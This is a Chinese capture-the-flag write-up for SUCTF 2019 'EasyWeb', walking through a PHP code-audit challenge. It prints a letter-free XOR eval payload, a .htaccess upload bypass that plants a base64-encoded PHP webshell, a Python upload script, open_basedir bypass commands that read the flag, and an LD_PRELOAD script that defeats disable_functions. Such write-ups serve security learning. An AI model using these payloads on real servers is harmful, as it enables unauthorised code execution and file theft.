[SUCTF 2019]EasyWeb

代码审计题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

题解

1.无字母数字shell构造

思路源于p神的文章:一些不包含数字和字母的webshell

因为屏蔽了字母数字,可以思路可以往无字母数字getshell上走,大致有:或,异或,取反三个方案。

因为检测~,所以取反不可行。

于是跑脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import re
# Python中正则不需要在首位加//
preg = '[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+'
payload = "_GET"
istr = ''
jstr = ''
for char in payload:
check = 0
for i in range(128, 256): #“Use of undefined constant” 视ascii码大于0x7f的字符为字符串,7.2后提出要废弃
for j in range(128, 256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
if(i ^ j == ord(char)):
i = '%{:0>2}'.format(hex(i)[2:])
j = '%{:0>2}'.format(hex(j)[2:])
istr += i
jstr += j
check = 1
break
if check == 1:
break
# php经典特性,没加引号则视为字符串,所以可以不加引号减少字符数
# abc^def等价于(a^d).(b^e).(c^f),前者可以大幅减少字符数
print('${%s^%s}' % (istr, jstr))

因为还限制了字符类型,所以尽量用重复的字符。

1
2
在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理,所以$_GET['c']等价于$_GET{'c'},但这个问题7.4报warn,8.0可能会被处理。

1

payload:

1
?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

直接获取flag:

2

扩展:最简情况的字符考量

经测试,在这种最简情况下,尽量用大于0x7f的字符进行异或,否则在urldecode的时候会造成错误。

例如:

%24^%7b结果为_,但%24urldecode结果是$,就与payload里的$造成冲突。

如果加了引号,则不用担心这个问题。

2.利用.htaccess文件上传

.htaccess文件提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录

加了很多限制,所以是要利用get_the_flag()函数

exif_imagetype第一反应肯定是图片马,所以考虑图片马构造,但<?被限制,导致大部分一句话木马都被过滤了,而<script language='php'></script>又只能在php5环境下使用

所以将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码

.htaccess+文件头检测绕过

因为有exif_imagetype进行文件头检测,一般是加GIF89a进行绕过,但在这里会导致.htaccess文件无法正常生效,所以在.htaccess文件中加上

1
2
#define width 1337
#define height 1337

于是.htaccess文件内容如下

1
2
3
4
#define width 1337
#define height 1337
AddType application/x-httpd-php .a
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.a"

shell.a文件内容如下,多加了12是为了补足8个字节,满足base64编码的规则,太细了

base64编码要求:每三个字节/字符一组,也就是字符数是3的整数倍(因为是ascii码,所以一个字节等于一个字符

1
2
GIF89a12
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==

因为exif_imagetype是检测开头字符,所以注意GIF89a12前面不要有换行符,不要有空格,python三单引号形式字符串注意换行符。

上传脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time

url = r"http://7c586462-a2f1-4008-a870-9303b30d8fb1.node4.buuoj.cn/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag"
session = requests.session()
htaccess_content = '''
#define width 1337
#define height 1337
AddType application/x-httpd-php .a
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.a"
'''
files_htaccess = {'file': (
'.htaccess', htaccess_content, 'image/jpeg')}
res_hta = session.post(url, files=files_htaccess)
print(res_hta.text)
shell_file = 'GIF89a12PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg=='
files_shell = {'file': (
'shell.a', shell_file, 'image/jpeg')}
res_jpg = session.post(url, files=files_shell)

print(res_jpg.text)

3-1.open_basedir bypass

蚁剑连接后,没法访问其他目录。

3

bypass open_basedir的新方法

payload:扫目录

1
cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

4

flag在THis_Is_tHe_F14g

读取文件

1
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

5

3-2.disable_function bypass

原理可见https://www.cnblogs.com/cimuhuashuimu/p/11544487.html

但这题

6

由于禁用了mail,所以得考虑其他函数,比如error_logmb_send_mail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
echo "<p> <b>example</b>: bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

//以下三个可以一起放着,函数被禁用也不需要注释,不影响
mail("", "", "", "");
error_log("a", 1);
mb_send_mail("", "", "");

//以下两个没有则需要注释掉,否则无法正常执行
// $img = Imagick("1.mp4"); //如果有ImageMagick这个扩展(文件必须存在)
// imap_mail("", "", ""); //需要安装imap拓展

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);

7

成功。单单这个PHP的话,似乎不能用蚁剑连接。

3-3.利用蚁剑一键bypass!

蚁剑nb!破音

8

然后连接/.antproxy.php,还能再用蚁剑连,蚁剑nb!

结束。

参考链接:https://syunaht.com/p/745812677.html